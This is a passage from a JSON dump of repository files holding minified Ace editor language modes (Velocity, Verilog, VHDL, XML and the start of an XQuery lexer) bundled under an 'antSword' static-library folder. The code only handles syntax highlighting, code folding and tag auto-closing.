\"\\\\\\\\]))*?[\"]'},{token:\"string\",regex:\"['](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[']\"},{token:\"constant.numeric\",regex:\"0[xX][0-9a-fA-F]+\\\\b\"},{token:\"constant.numeric\",regex:\"[+-]?\\\\d+(?:(?:\\\\.\\\\d*)?(?:[eE][+-]?\\\\d+)?)?\\\\b\"},{token:\"constant.language.boolean\",regex:\"(?:true|false)\\\\b\"},{token:function(i){return r.hasOwnProperty(i)?\"keyword\":e.hasOwnProperty(i)?\"constant.language\":n.hasOwnProperty(i)?\"variable.language\":t.hasOwnProperty(i)||t.hasOwnProperty(i.substring(1))?\"support.function\":i==\"debugger\"?\"invalid.deprecated\":i.match(/^(\\$[a-zA-Z_$][a-zA-Z0-9_]*)$/)?\"variable\":\"identifier\"},regex:\"[a-zA-Z_$][a-zA-Z0-9_$]*\\\\b\"},{token:\"keyword.operator\",regex:\"!|&|\\\\*|\\\\-|\\\\+|=|!=|<=|>=|<|>|&&|\\\\|\\\\|\"},{token:\"lparen\",regex:\"[[({]\"},{token:\"rparen\",regex:\"[\\\\])}]\"},{token:\"text\",regex:\"\\\\s+\"}];for(var s in this.$rules)this.$rules[s].unshift({token:\"variable\",regex:\"\\\\${\",push:\"vm_start\"});this.normalizeRules()};r.inherits(u,s),t.VelocityHighlightRules=u}),ace.define(\"ace/mode/folding/velocity\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/folding/fold_mode\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"./fold_mode\").FoldMode,s=e(\"../../range\").Range,o=t.FoldMode=function(){};r.inherits(o,i),function(){this.getFoldWidgetRange=function(e,t,n){var r=this.indentationBlock(e,n);if(r)return r;var i=/\\S/,o=e.getLine(n),u=o.search(i);if(u==-1||o[u]!=\"##\")return;var a=o.length,f=e.getLength(),l=n,c=n;while(++n<f){o=e.getLine(n);var h=o.search(i);if(h==-1)continue;if(o[h]!=\"##\")break;c=n}if(c>l){var p=e.getLine(c).length;return new s(l,a,c,p)}},this.getFoldWidget=function(e,t,n){var r=e.getLine(n),i=r.search(/\\S/),s=e.getLine(n+1),o=e.getLine(n-1),u=o.search(/\\S/),a=s.search(/\\S/);if(i==-1)return e.foldWidgets[n-1]=u!=-1&&u<a?\"start\":\"\",\"\";if(u==-1){if(i==a&&r[i]==\"##\"&&s[i]==\"##\")return e.foldWidgets[n-1]=\"\",e.foldWidgets[n+1]=\"\",\"start\"}else if(u==i&&r[i]==\"##\"&&o[i]==\"##\"&&e.getLine(n-2).search(/\\S/)==-1)return e.foldWidgets[n-1]=\"start\",e.foldWidgets[n+1]=\"\",\"\";return u!=-1&&u<i?e.foldWidgets[n-1]=\"start\":e.foldWidgets[n-1]=\"\",i<a?\"start\":\"\"}}.call(o.prototype)}),ace.define(\"ace/mode/velocity\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/html\",\"ace/mode/velocity_highlight_rules\",\"ace/mode/folding/velocity\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./html\").Mode,s=e(\"./velocity_highlight_rules\").VelocityHighlightRules,o=e(\"./folding/velocity\").FoldMode,u=function(){i.call(this),this.HighlightRules=s,this.foldingRules=new o};r.inherits(u,i),function(){this.lineCommentStart=\"##\",this.blockComment={start:\"#*\",end:\"*#\"},this.$id=\"ace/mode/velocity\"}.call(u.prototype),t.Mode=u})"
  },
  {
    "path": "antSword/static/libs/ace/mode-verilog.js",
    "content": "ace.define(\"ace/mode/verilog_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){var e=\"always|and|assign|automatic|begin|buf|bufif0|bufif1|case|casex|casez|cell|cmos|config|deassign|default|defparam|design|disable|edge|else|end|endcase|endconfig|endfunction|endgenerate|endmodule|endprimitive|endspecify|endtable|endtask|event|for|force|forever|fork|function|generate|genvar|highz0|highz1|if|ifnone|incdir|include|initial|inout|input|instance|integer|join|large|liblist|library|localparam|macromodule|medium|module|nand|negedge|nmos|nor|noshowcancelled|not|notif0|notif1|or|output|parameter|pmos|posedge|primitive|pull0|pull1|pulldown|pullup|pulsestyle_onevent|pulsestyle_ondetect|rcmos|real|realtime|reg|release|repeat|rnmos|rpmos|rtran|rtranif0|rtranif1|scalared|showcancelled|signed|small|specify|specparam|strong0|strong1|supply0|supply1|table|task|time|tran|tranif0|tranif1|tri|tri0|tri1|triand|trior|trireg|unsigned|use|vectored|wait|wand|weak0|weak1|while|wire|wor|xnor|xorbegin|bufif0|bufif1|case|casex|casez|config|else|end|endcase|endconfig|endfunction|endgenerate|endmodule|endprimitive|endspecify|endtable|endtask|for|forever|function|generate|if|ifnone|macromodule|module|primitive|repeat|specify|table|task|while\",t=\"true|false|null\",n=\"count|min|max|avg|sum|rank|now|coalesce|main\",r=this.createKeywordMapper({\"support.function\":n,keyword:e,\"constant.language\":t},\"identifier\",!0);this.$rules={start:[{token:\"comment\",regex:\"//.*$\"},{token:\"string\",regex:'\".*?\"'},{token:\"string\",regex:\"'.*?'\"},{token:\"constant.numeric\",regex:\"[+-]?\\\\d+(?:(?:\\\\.\\\\d*)?(?:[eE][+-]?\\\\d+)?)?\\\\b\"},{token:r,regex:\"[a-zA-Z_$][a-zA-Z0-9_$]*\\\\b\"},{token:\"keyword.operator\",regex:\"\\\\+|\\\\-|\\\\/|\\\\/\\\\/|%|<@>|@>|<@|&|\\\\^|~|<|>|<=|=>|==|!=|<>|=\"},{token:\"paren.lparen\",regex:\"[\\\\(]\"},{token:\"paren.rparen\",regex:\"[\\\\)]\"},{token:\"text\",regex:\"\\\\s+\"}]}};r.inherits(s,i),t.VerilogHighlightRules=s}),ace.define(\"ace/mode/verilog\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/verilog_highlight_rules\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./verilog_highlight_rules\").VerilogHighlightRules,o=e(\"../range\").Range,u=function(){this.HighlightRules=s};r.inherits(u,i),function(){this.lineCommentStart=\"//\",this.blockComment={start:\"/*\",end:\"*/\"},this.$id=\"ace/mode/verilog\"}.call(u.prototype),t.Mode=u})"
  },
  {
    "path": "antSword/static/libs/ace/mode-vhdl.js",
    "content": "ace.define(\"ace/mode/vhdl_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){var e=\"access|after|ailas|all|architecture|assert|attribute|begin|block|buffer|bus|case|component|configuration|disconnect|downto|else|elsif|end|entity|file|for|function|generate|generic|guarded|if|impure|in|inertial|inout|is|label|linkage|literal|loop|mapnew|next|of|on|open|others|out|port|process|pure|range|record|reject|report|return|select|shared|subtype|then|to|transport|type|unaffected|united|until|wait|when|while|with\",t=\"bit|bit_vector|boolean|character|integer|line|natural|positive|real|register|severity|signal|signed|std_logic|std_logic_vector|string||text|time|unsigned|variable\",n=\"array|constant\",r=\"abs|and|mod|nand|nor|not|rem|rol|ror|sla|sll|srasrl|xnor|xor\",i=\"true|false|null\",s=this.createKeywordMapper({\"keyword.operator\":r,keyword:e,\"constant.language\":i,\"storage.modifier\":n,\"storage.type\":t},\"identifier\",!0);this.$rules={start:[{token:\"comment\",regex:\"--.*$\"},{token:\"string\",regex:'\".*?\"'},{token:\"string\",regex:\"'.*?'\"},{token:\"constant.numeric\",regex:\"[+-]?\\\\d+(?:(?:\\\\.\\\\d*)?(?:[eE][+-]?\\\\d+)?)?\\\\b\"},{token:\"keyword\",regex:\"\\\\s*(?:library|package|use)\\\\b\"},{token:s,regex:\"[a-zA-Z_$][a-zA-Z0-9_$]*\\\\b\"},{token:\"keyword.operator\",regex:\"&|\\\\*|\\\\+|\\\\-|\\\\/|<|=|>|\\\\||=>|\\\\*\\\\*|:=|\\\\/=|>=|<=|<>\"},{token:\"punctuation.operator\",regex:\"\\\\'|\\\\:|\\\\,|\\\\;|\\\\.\"},{token:\"paren.lparen\",regex:\"[[(]\"},{token:\"paren.rparen\",regex:\"[\\\\])]\"},{token:\"text\",regex:\"\\\\s+\"}]}};r.inherits(s,i),t.VHDLHighlightRules=s}),ace.define(\"ace/mode/vhdl\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/vhdl_highlight_rules\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./vhdl_highlight_rules\").VHDLHighlightRules,o=e(\"../range\").Range,u=function(){this.HighlightRules=s};r.inherits(u,i),function(){this.lineCommentStart=\"--\",this.$id=\"ace/mode/vhdl\"}.call(u.prototype),t.Mode=u})"
  },
  {
    "path": "antSword/static/libs/ace/mode-xml.js",
    "content": "ace.define(\"ace/mode/xml_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(e){var t=\"[_:a-zA-Z\\u00c0-\\uffff][-_:.a-zA-Z0-9\\u00c0-\\uffff]*\";this.$rules={start:[{token:\"string.cdata.xml\",regex:\"<\\\\!\\\\[CDATA\\\\[\",next:\"cdata\"},{token:[\"punctuation.xml-decl.xml\",\"keyword.xml-decl.xml\"],regex:\"(<\\\\?)(xml)(?=[\\\\s])\",next:\"xml_decl\",caseInsensitive:!0},{token:[\"punctuation.instruction.xml\",\"keyword.instruction.xml\"],regex:\"(<\\\\?)(\"+t+\")\",next:\"processing_instruction\"},{token:\"comment.xml\",regex:\"<\\\\!--\",next:\"comment\"},{token:[\"xml-pe.doctype.xml\",\"xml-pe.doctype.xml\"],regex:\"(<\\\\!)(DOCTYPE)(?=[\\\\s])\",next:\"doctype\",caseInsensitive:!0},{include:\"tag\"},{token:\"text.end-tag-open.xml\",regex:\"</\"},{token:\"text.tag-open.xml\",regex:\"<\"},{include:\"reference\"},{defaultToken:\"text.xml\"}],xml_decl:[{token:\"entity.other.attribute-name.decl-attribute-name.xml\",regex:\"(?:\"+t+\":)?\"+t+\"\"},{token:\"keyword.operator.decl-attribute-equals.xml\",regex:\"=\"},{include:\"whitespace\"},{include:\"string\"},{token:\"punctuation.xml-decl.xml\",regex:\"\\\\?>\",next:\"start\"}],processing_instruction:[{token:\"punctuation.instruction.xml\",regex:\"\\\\?>\",next:\"start\"},{defaultToken:\"instruction.xml\"}],doctype:[{include:\"whitespace\"},{include:\"string\"},{token:\"xml-pe.doctype.xml\",regex:\">\",next:\"start\"},{token:\"xml-pe.xml\",regex:\"[-_a-zA-Z0-9:]+\"},{token:\"punctuation.int-subset\",regex:\"\\\\[\",push:\"int_subset\"}],int_subset:[{token:\"text.xml\",regex:\"\\\\s+\"},{token:\"punctuation.int-subset.xml\",regex:\"]\",next:\"pop\"},{token:[\"punctuation.markup-decl.xml\",\"keyword.markup-decl.xml\"],regex:\"(<\\\\!)(\"+t+\")\",push:[{token:\"text\",regex:\"\\\\s+\"},{token:\"punctuation.markup-decl.xml\",regex:\">\",next:\"pop\"},{include:\"string\"}]}],cdata:[{token:\"string.cdata.xml\",regex:\"\\\\]\\\\]>\",next:\"start\"},{token:\"text.xml\",regex:\"\\\\s+\"},{token:\"text.xml\",regex:\"(?:[^\\\\]]|\\\\](?!\\\\]>))+\"}],comment:[{token:\"comment.xml\",regex:\"-->\",next:\"start\"},{defaultToken:\"comment.xml\"}],reference:[{token:\"constant.language.escape.reference.xml\",regex:\"(?:&#[0-9]+;)|(?:&#x[0-9a-fA-F]+;)|(?:&[a-zA-Z0-9_:\\\\.-]+;)\"}],attr_reference:[{token:\"constant.language.escape.reference.attribute-value.xml\",regex:\"(?:&#[0-9]+;)|(?:&#x[0-9a-fA-F]+;)|(?:&[a-zA-Z0-9_:\\\\.-]+;)\"}],tag:[{token:[\"meta.tag.punctuation.tag-open.xml\",\"meta.tag.punctuation.end-tag-open.xml\",\"meta.tag.tag-name.xml\"],regex:\"(?:(<)|(</))((?:\"+t+\":)?\"+t+\")\",next:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\"}]}],tag_whitespace:[{token:\"text.tag-whitespace.xml\",regex:\"\\\\s+\"}],whitespace:[{token:\"text.whitespace.xml\",regex:\"\\\\s+\"}],string:[{token:\"string.xml\",regex:\"'\",push:[{token:\"string.xml\",regex:\"'\",next:\"pop\"},{defaultToken:\"string.xml\"}]},{token:\"string.xml\",regex:'\"',push:[{token:\"string.xml\",regex:'\"',next:\"pop\"},{defaultToken:\"string.xml\"}]}],attributes:[{token:\"entity.other.attribute-name.xml\",regex:\"(?:\"+t+\":)?\"+t+\"\"},{token:\"keyword.operator.attribute-equals.xml\",regex:\"=\"},{include:\"tag_whitespace\"},{include:\"attribute_value\"}],attribute_value:[{token:\"string.attribute-value.xml\",regex:\"'\",push:[{token:\"string.attribute-value.xml\",regex:\"'\",next:\"pop\"},{include:\"attr_reference\"},{defaultToken:\"string.attribute-value.xml\"}]},{token:\"string.attribute-value.xml\",regex:'\"',push:[{token:\"string.attribute-value.xml\",regex:'\"',next:\"pop\"},{include:\"attr_reference\"},{defaultToken:\"string.attribute-value.xml\"}]}]},this.constructor===s&&this.normalizeRules()};(function(){this.embedTagRules=function(e,t,n){this.$rules.tag.unshift({token:[\"meta.tag.punctuation.tag-open.xml\",\"meta.tag.\"+n+\".tag-name.xml\"],regex:\"(<)(\"+n+\"(?=\\\\s|>|$))\",next:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:t+\"start\"}]}),this.$rules[n+\"-end\"]=[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\",onMatch:function(e,t,n){return n.splice(0),this.token}}],this.embedRules(e,t,[{token:[\"meta.tag.punctuation.end-tag-open.xml\",\"meta.tag.\"+n+\".tag-name.xml\"],regex:\"(</)(\"+n+\"(?=\\\\s|>|$))\",next:n+\"-end\"},{token:\"string.cdata.xml\",regex:\"<\\\\!\\\\[CDATA\\\\[\"},{token:\"string.cdata.xml\",regex:\"\\\\]\\\\]>\"}])}}).call(i.prototype),r.inherits(s,i),t.XmlHighlightRules=s}),ace.define(\"ace/mode/behaviour/xml\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";function u(e,t){return e.type.lastIndexOf(t+\".xml\")>-1}var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),a=function(){this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){var o=i,a=r.doc.getTextRange(n.getSelectionRange());if(a!==\"\"&&a!==\"'\"&&a!='\"'&&n.getWrapBehavioursEnabled())return{text:o+a+o,selection:!1};var f=n.getCursorPosition(),l=r.doc.getLine(f.row),c=l.substring(f.column,f.column+1),h=new s(r,f.row,f.column),p=h.getCurrentToken();if(c==o&&(u(p,\"attribute-value\")||u(p,\"string\")))return{text:\"\",selection:[1,1]};p||(p=h.stepBackward());if(!p)return;while(u(p,\"tag-whitespace\")||u(p,\"whitespace\"))p=h.stepBackward();var d=!c||c.match(/\\s/);if(u(p,\"attribute-equals\")&&(d||c==\">\")||u(p,\"decl-attribute-equals\")&&(d||c==\"?\"))return{text:o+o,selection:[1,1]}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}}),this.add(\"autoclosing\",\"insertion\",function(e,t,n,r,i){if(i==\">\"){var o=n.getCursorPosition(),a=new s(r,o.row,o.column),f=a.getCurrentToken()||a.stepBackward();if(!f||!(u(f,\"tag-name\")||u(f,\"tag-whitespace\")||u(f,\"attribute-name\")||u(f,\"attribute-equals\")||u(f,\"attribute-value\")))return;if(u(f,\"reference.attribute-value\"))return;if(u(f,\"attribute-value\")){var l=f.value.charAt(0);if(l=='\"'||l==\"'\"){var c=f.value.charAt(f.value.length-1),h=a.getCurrentTokenColumn()+f.value.length;if(h>o.column||h==o.column&&l!=c)return}}while(!u(f,\"tag-name\"))f=a.stepBackward();var p=a.getCurrentTokenRow(),d=a.getCurrentTokenColumn();if(u(a.stepBackward(),\"end-tag-open\"))return;var v=f.value;p==o.row&&(v=v.substring(0,o.column-d));if(this.voidElements.hasOwnProperty(v.toLowerCase()))return;return{text:\"></\"+v+\">\",selection:[1,1]}}}),this.add(\"autoindent\",\"insertion\",function(e,t,n,r,i){if(i==\"\\n\"){var o=n.getCursorPosition(),u=r.getLine(o.row),a=new s(r,o.row,o.column),f=a.getCurrentToken();if(f&&f.type.indexOf(\"tag-close\")!==-1){if(f.value==\"/>\")return;while(f&&f.type.indexOf(\"tag-name\")===-1)f=a.stepBackward();if(!f)return;var l=f.value,c=a.getCurrentTokenRow();f=a.stepBackward();if(!f||f.type.indexOf(\"end-tag\")!==-1)return;if(this.voidElements&&!this.voidElements[l]){var h=r.getTokenAt(o.row,o.column+1),u=r.getLine(c),p=this.$getIndent(u),d=p+r.getTabString();return h&&h.value===\"</\"?{text:\"\\n\"+d+\"\\n\"+p,selection:[1,d.length,1,d.length]}:{text:\"\\n\"+d}}}}})};r.inherits(a,i),t.XmlBehaviour=a}),ace.define(\"ace/mode/folding/xml\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/range\",\"ace/mode/folding/fold_mode\",\"ace/token_iterator\"],function(e,t,n){\"use strict\";function l(e,t){return e.type.lastIndexOf(t+\".xml\")>-1}var r=e(\"../../lib/oop\"),i=e(\"../../lib/lang\"),s=e(\"../../range\").Range,o=e(\"./fold_mode\").FoldMode,u=e(\"../../token_iterator\").TokenIterator,a=t.FoldMode=function(e,t){o.call(this),this.voidElements=e||{},this.optionalEndTags=r.mixin({},this.voidElements),t&&r.mixin(this.optionalEndTags,t)};r.inherits(a,o);var f=function(){this.tagName=\"\",this.closing=!1,this.selfClosing=!1,this.start={row:0,column:0},this.end={row:0,column:0}};(function(){this.getFoldWidget=function(e,t,n){var r=this._getFirstTagInLine(e,n);return r?r.closing||!r.tagName&&r.selfClosing?t==\"markbeginend\"?\"end\":\"\":!r.tagName||r.selfClosing||this.voidElements.hasOwnProperty(r.tagName.toLowerCase())?\"\":this._findEndTagInLine(e,n,r.tagName,r.end.column)?\"\":\"start\":\"\"},this._getFirstTagInLine=function(e,t){var n=e.getTokens(t),r=new f;for(var i=0;i<n.length;i++){var s=n[i];if(l(s,\"tag-open\")){r.end.column=r.start.column+s.value.length,r.closing=l(s,\"end-tag-open\"),s=n[++i];if(!s)return null;r.tagName=s.value,r.end.column+=s.value.length;for(i++;i<n.length;i++){s=n[i],r.end.column+=s.value.length;if(l(s,\"tag-close\")){r.selfClosing=s.value==\"/>\";break}}return r}if(l(s,\"tag-close\"))return r.selfClosing=s.value==\"/>\",r;r.start.column+=s.value.length}return null},this._findEndTagInLine=function(e,t,n,r){var i=e.getTokens(t),s=0;for(var o=0;o<i.length;o++){var u=i[o];s+=u.value.length;if(s<r)continue;if(l(u,\"end-tag-open\")){u=i[o+1];if(u&&u.value==n)return!0}}return!1},this._readTagForward=function(e){var t=e.getCurrentToken();if(!t)return null;var n=new f;do if(l(t,\"tag-open\"))n.closing=l(t,\"end-tag-open\"),n.start.row=e.getCurrentTokenRow(),n.start.column=e.getCurrentTokenColumn();else if(l(t,\"tag-name\"))n.tagName=t.value;else if(l(t,\"tag-close\"))return n.selfClosing=t.value==\"/>\",n.end.row=e.getCurrentTokenRow(),n.end.column=e.getCurrentTokenColumn()+t.value.length,e.stepForward(),n;while(t=e.stepForward());return null},this._readTagBackward=function(e){var t=e.getCurrentToken();if(!t)return null;var n=new f;do{if(l(t,\"tag-open\"))return n.closing=l(t,\"end-tag-open\"),n.start.row=e.getCurrentTokenRow(),n.start.column=e.getCurrentTokenColumn(),e.stepBackward(),n;l(t,\"tag-name\")?n.tagName=t.value:l(t,\"tag-close\")&&(n.selfClosing=t.value==\"/>\",n.end.row=e.getCurrentTokenRow(),n.end.column=e.getCurrentTokenColumn()+t.value.length)}while(t=e.stepBackward());return null},this._pop=function(e,t){while(e.length){var n=e[e.length-1];if(!t||n.tagName==t.tagName)return e.pop();if(this.optionalEndTags.hasOwnProperty(n.tagName)){e.pop();continue}return null}},this.getFoldWidgetRange=function(e,t,n){var r=this._getFirstTagInLine(e,n);if(!r)return null;var i=r.closing||r.selfClosing,o=[],a;if(!i){var f=new u(e,n,r.start.column),l={row:n,column:r.start.column+r.tagName.length+2};r.start.row==r.end.row&&(l.column=r.end.column);while(a=this._readTagForward(f)){if(a.selfClosing){if(!o.length)return a.start.column+=a.tagName.length+2,a.end.column-=2,s.fromPoints(a.start,a.end);continue}if(a.closing){this._pop(o,a);if(o.length==0)return s.fromPoints(l,a.start)}else o.push(a)}}else{var f=new u(e,n,r.end.column),c={row:n,column:r.start.column};while(a=this._readTagBackward(f)){if(a.selfClosing){if(!o.length)return a.start.column+=a.tagName.length+2,a.end.column-=2,s.fromPoints(a.start,a.end);continue}if(!a.closing){this._pop(o,a);if(o.length==0)return a.start.column+=a.tagName.length+2,a.start.row==a.end.row&&a.start.column<a.end.column&&(a.start.column=a.end.column),s.fromPoints(a.start,c)}else o.push(a)}}}}).call(a.prototype)}),ace.define(\"ace/mode/xml\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/text\",\"ace/mode/xml_highlight_rules\",\"ace/mode/behaviour/xml\",\"ace/mode/folding/xml\",\"ace/worker/worker_client\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./text\").Mode,o=e(\"./xml_highlight_rules\").XmlHighlightRules,u=e(\"./behaviour/xml\").XmlBehaviour,a=e(\"./folding/xml\").FoldMode,f=e(\"../worker/worker_client\").WorkerClient,l=function(){this.HighlightRules=o,this.$behaviour=new u,this.foldingRules=new a};r.inherits(l,s),function(){this.voidElements=i.arrayToMap([]),this.blockComment={start:\"<!--\",end:\"-->\"},this.createWorker=function(e){var t=new f([\"ace\"],\"ace/mode/xml_worker\",\"Worker\");return t.attachToDocument(e.getDocument()),t.on(\"error\",function(t){e.setAnnotations(t.data)}),t.on(\"terminate\",function(){e.clearAnnotations()}),t},this.$id=\"ace/mode/xml\"}.call(l.prototype),t.Mode=l})"
  },
  {
    "path": "antSword/static/libs/ace/mode-xquery.js",
    "content": "ace.define(\"ace/mode/xquery/xquery_lexer\",[\"require\",\"exports\",\"module\"],function(e,t,n){n.exports=function r(t,n,i){function s(u,a){if(!n[u]){if(!t[u]){var f=typeof e==\"function\"&&e;if(!a&&f)return f(u,!0);if(o)return o(u,!0);throw new Error(\"Cannot find module '\"+u+\"'\")}var l=n[u]={exports:{}};t[u][0].call(l.exports,function(e){var n=t[u][1][e];return s(n?n:e)},l,l.exports,r,t,n,i)}return n[u].exports}var o=typeof e==\"function\"&&e;for(var u=0;u<i.length;u++)s(i[u]);return s}({1:[function(e,t,n){var r=n.XQueryTokenizer=function i(e,t){function r(e,t){E=t,S=e,x=e.length,s(0,0,0)}function s(e,t,n){m=t,g=t,y=e,b=t,w=n,N=n,E.reset(S)}function o(){E.startNonterminal(\"EQName\",g);switch(y){case 77:f(77);break;case 91:f(91);break;case 115:f(115);break;case 116:f(116);break;case 119:f(119);break;case 140:f(140);break;case 147:f(147);break;case 160:f(160);break;case 180:f(180);break;case 186:f(186);break;case 211:f(211);break;case 221:f(221);break;case 222:f(222);break;case 238:f(238);break;case 239:f(239);break;case 248:f(248);break;default:u()}E.endNonterminal(\"EQName\",g)}function u(){E.startNonterminal(\"FunctionName\",g);switch(y){case 14:f(14);break;case 65:f(65);break;case 68:f(68);break;case 69:f(69);break;case 70:f(70);break;case 74:f(74);break;case 75:f(75);break;case 79:f(79);break;case 83:f(83);break;case 84:f(84);break;case 85:f(85);break;case 88:f(88);break;case 89:f(89);break;case 98:f(98);break;case 100:f(100);break;case 103:f(103);break;case 104:f(104);break;case 105:f(105);break;case 106:f(106);break;case 107:f(107);break;case 108:f(108);break;case 113:f(113);break;case 114:f(114);break;case 117:f(117);break;case 118:f(118);break;case 121:f(121);break;case 123:f(123);break;case 124:f(124);break;case 126:f(126);break;case 129:f(129);break;case 130:f(130);break;case 131:f(131);break;case 132:f(132);break;case 141:f(141);break;case 143:f(143);break;case 145:f(145);break;case 146:f(146);break;case 148:f(148);break;case 154:f(154);break;case 155:f(155);break;case 157:f(157);break;case 158:f(158);break;case 159:f(159);break;case 165:f(165);break;case 167:f(167);break;case 169:f(169);break;case 173:f(173);break;case 175:f(175);break;case 176:f(176);break;case 177:f(177);break;case 179:f(179);break;case 181:f(181);break;case 193:f(193);break;case 195:f(195);break;case 196:f(196);break;case 197:f(197);break;case 201:f(201);break;case 207:f(207);break;case 208:f(208);break;case 213:f(213);break;case 214:f(214);break;case 215:f(215);break;case 219:f(219);break;case 224:f(224);break;case 230:f(230);break;case 231:f(231);break;case 232:f(232);break;case 243:f(243);break;case 244:f(244);break;case 245:f(245);break;case 249:f(249);break;case 251:f(251);break;case 255:f(255);break;case 261:f(261);break;case 265:f(265);break;case 269:f(269);break;case 67:f(67);break;case 76:f(76);break;case 78:f(78);break;case 80:f(80);break;case 81:f(81);break;case 86:f(86);break;case 93:f(93);break;case 96:f(96);break;case 97:f(97);break;case 99:f(99);break;case 101:f(101);break;case 120:f(120);break;case 127:f(127);break;case 128:f(128);break;case 136:f(136);break;case 149:f(149);break;case 150:f(150);break;case 156:f(156);break;case 166:f(166);break;case 187:f(187);break;case 194:f(194);break;case 198:f(198);break;case 217:f(217);break;case 220:f(220);break;case 223:f(223);break;case 229:f(229);break;case 235:f(235);break;case 246:f(246);break;case 247:f(247);break;case 252:f(252);break;case 256:f(256);break;case 257:f(257);break;case 258:f(258);break;case 262:f(262);break;case 92:f(92);break;case 171:f(171);break;default:f(216)}E.endNonterminal(\"FunctionName\",g)}function a(){E.startNonterminal(\"NCName\",g);switch(y){case 26:f(26);break;case 65:f(65);break;case 70:f(70);break;case 74:f(74);break;case 75:f(75);break;case 79:f(79);break;case 83:f(83);break;case 84:f(84);break;case 85:f(85);break;case 89:f(89);break;case 100:f(100);break;case 104:f(104);break;case 108:f(108);break;case 113:f(113);break;case 117:f(117);break;case 118:f(118);break;case 121:f(121);break;case 123:f(123);break;case 126:f(126);break;case 132:f(132);break;case 141:f(141);break;case 143:f(143);break;case 145:f(145);break;case 146:f(146);break;case 155:f(155);break;case 157:f(157);break;case 158:f(158);break;case 159:f(159);break;case 167:f(167);break;case 169:f(169);break;case 173:f(173);break;case 175:f(175);break;case 176:f(176);break;case 181:f(181);break;case 193:f(193);break;case 195:f(195);break;case 196:f(196);break;case 215:f(215);break;case 219:f(219);break;case 231:f(231);break;case 232:f(232);break;case 243:f(243);break;case 244:f(244);break;case 249:f(249);break;case 261:f(261);break;case 265:f(265);break;case 68:f(68);break;case 69:f(69);break;case 77:f(77);break;case 88:f(88);break;case 91:f(91);break;case 98:f(98);break;case 103:f(103);break;case 105:f(105);break;case 106:f(106);break;case 107:f(107);break;case 114:f(114);break;case 115:f(115);break;case 116:f(116);break;case 119:f(119);break;case 124:f(124);break;case 129:f(129);break;case 130:f(130);break;case 131:f(131);break;case 140:f(140);break;case 147:f(147);break;case 148:f(148);break;case 154:f(154);break;case 160:f(160);break;case 165:f(165);break;case 177:f(177);break;case 179:f(179);break;case 180:f(180);break;case 186:f(186);break;case 197:f(197);break;case 201:f(201);break;case 207:f(207);break;case 208:f(208);break;case 211:f(211);break;case 213:f(213);break;case 214:f(214);break;case 221:f(221);break;case 222:f(222);break;case 224:f(224);break;case 230:f(230);break;case 238:f(238);break;case 239:f(239);break;case 245:f(245);break;case 248:f(248);break;case 251:f(251);break;case 255:f(255);break;case 257:f(257);break;case 269:f(269);break;case 67:f(67);break;case 76:f(76);break;case 78:f(78);break;case 80:f(80);break;case 81:f(81);break;case 86:f(86);break;case 93:f(93);break;case 96:f(96);break;case 97:f(97);break;case 99:f(99);break;case 101:f(101);break;case 120:f(120);break;case 127:f(127);break;case 128:f(128);break;case 136:f(136);break;case 149:f(149);break;case 150:f(150);break;case 156:f(156);break;case 166:f(166);break;case 187:f(187);break;case 194:f(194);break;case 198:f(198);break;case 217:f(217);break;case 220:f(220);break;case 223:f(223);break;case 229:f(229);break;case 235:f(235);break;case 246:f(246);break;case 247:f(247);break;case 252:f(252);break;case 256:f(256);break;case 258:f(258);break;case 262:f(262);break;case 92:f(92);break;case 171:f(171);break;default:f(216)}E.endNonterminal(\"NCName\",g)}function f(e){y==e?(l(),E.terminal(i.TOKEN[y],b,w>x?x:w),m=b,g=w,y=0):d(b,w,0,y,e)}function l(){g!=b&&(m=g,g=b,E.whitespace(m,g))}function c(e){var t;for(;;){t=C(e);if(t!=28)break}return t}function h(e){y==0&&(y=c(e),b=T,w=N)}function p(e){y==0&&(y=C(e),b=T,w=N)}function d(e,t,r,i,s){throw new n.ParseException(e,t,r,i,s)}function C(e){var t=!1;T=N;var 